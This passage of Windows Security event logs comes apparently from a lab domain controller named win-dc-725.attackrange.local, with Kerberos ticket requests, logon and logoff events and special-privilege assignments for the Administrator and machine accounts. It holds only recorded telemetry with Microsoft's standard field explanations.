This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251875
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251874
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146BA9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251873
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146BA9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251872
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146BA9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251871
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251870
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251869
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251868
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14640E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251867
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146B86

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251866
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x146B86
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64560

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251865
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146B86

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251864
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146B25

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251863
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x146B25
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64559

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251862
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146B25

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251861
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146ABF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251860
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x146ABF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64558

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251859
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146ABF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251858
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146A5E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251857
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x146A5E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64557

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251856
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146A5E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251855
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x145E42

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251854
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14640E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251853
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14640E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251852
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251851
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251850
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251849
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x145E42

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251848
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x145E42
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251847
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
